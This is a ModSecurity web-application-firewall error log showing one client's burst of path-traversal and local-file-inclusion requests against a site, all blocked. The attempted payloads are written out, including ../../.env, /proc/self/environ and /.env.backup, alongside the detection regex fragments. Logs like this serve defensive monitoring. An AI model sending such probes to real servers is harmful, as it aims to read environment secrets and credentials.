[Mon Oct 26 07:29:12.991837 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iE5VL05DK7ky7IO-kgAAAA4"]
[Mon Oct 26 07:29:12.992180 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iE5VL05DK7ky7IO-kgAAAA4"]
[Mon Oct 26 07:29:12.992395 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37752] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iE5VL05DK7ky7IO-kgAAAA4"]
[Mon Oct 26 07:29:12.994231 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iJ_dbg3ptBnwDgQ4MAAAAAM"]
[Mon Oct 26 07:29:12.994283 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iJ_dbg3ptBnwDgQ4MAAAAAM"]
[Mon Oct 26 07:29:12.994316 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iJ_dbg3ptBnwDgQ4MAAAAAM"]
[Mon Oct 26 07:29:12.994754 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iJ_dbg3ptBnwDgQ4MAAAAAM"]
[Mon Oct 26 07:29:12.995075 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iJ_dbg3ptBnwDgQ4MAAAAAM"]
[Mon Oct 26 07:29:13.020431 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iTobCwOEb8ifz36PlAAAABQ"]
[Mon Oct 26 07:29:13.020499 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iTobCwOEb8ifz36PlAAAABQ"]
[Mon Oct 26 07:29:13.020531 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iTobCwOEb8ifz36PlAAAABQ"]
[Mon Oct 26 07:29:13.021206 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iTobCwOEb8ifz36PlAAAABQ"]
[Mon Oct 26 07:29:13.021499 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iTobCwOEb8ifz36PlAAAABQ"]
[Mon Oct 26 07:29:13.022605 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iWr0p85NPswPKocFQQAAACA"]
[Mon Oct 26 07:29:13.022673 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iWr0p85NPswPKocFQQAAACA"]
[Mon Oct 26 07:29:13.022703 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iWr0p85NPswPKocFQQAAACA"]
[Mon Oct 26 07:29:13.022768 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iWr0p85NPswPKocFQQAAACA"]
[Mon Oct 26 07:29:13.039627 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:file. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:file: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at85iTUxizeD7p0l-jkfyQAAAB8"]
[Mon Oct 26 07:29:13.040039 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at85iTUxizeD7p0l-jkfyQAAAB8"]
[Mon Oct 26 07:29:13.040364 2026] [security2:error] [pid 3023407:tid 3023407] [client 34.19.176.196:37676] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/system/fileView"] [unique_id "at85iTUxizeD7p0l-jkfyQAAAB8"]
[Mon Oct 26 07:29:13.041368 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85ifAWpsgTeulbP5bFGwAAABI"]
[Mon Oct 26 07:29:13.041429 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85ifAWpsgTeulbP5bFGwAAABI"]
[Mon Oct 26 07:29:13.041483 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85ifAWpsgTeulbP5bFGwAAABI"]
[Mon Oct 26 07:29:13.041894 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85ifAWpsgTeulbP5bFGwAAABI"]
[Mon Oct 26 07:29:13.042137 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85ifAWpsgTeulbP5bFGwAAABI"]
[Mon Oct 26 07:29:13.043155 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iRatj5i5ZMjJaPkrUAAAABY"]
[Mon Oct 26 07:29:13.043220 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iRatj5i5ZMjJaPkrUAAAABY"]
[Mon Oct 26 07:29:13.043250 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iRatj5i5ZMjJaPkrUAAAABY"]
[Mon Oct 26 07:29:13.043589 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iRatj5i5ZMjJaPkrUAAAABY"]
[Mon Oct 26 07:29:13.043845 2026] [security2:error] [pid 3010072:tid 3010072] [client 34.19.176.196:37588] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at85iRatj5i5ZMjJaPkrUAAAABY"]
[Mon Oct 26 07:29:13.092267 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iWr0p85NPswPKocFQQAAACA"]
[Mon Oct 26 07:29:13.099757 2026] [security2:error] [pid 3023408:tid 3023408] [client 34.19.176.196:37760] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at85iWr0p85NPswPKocFQQAAACA"]
[Mon Oct 26 07:29:13.606885 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at85iTobCwOEb8ifz36PlwAAABQ"]
[Mon Oct 26 07:29:13.607114 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at85iTobCwOEb8ifz36PlwAAABQ"]
[Mon Oct 26 07:29:13.607440 2026] [security2:error] [pid 3023388:tid 3023388] [client 34.19.176.196:37614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at85iTobCwOEb8ifz36PlwAAABQ"]
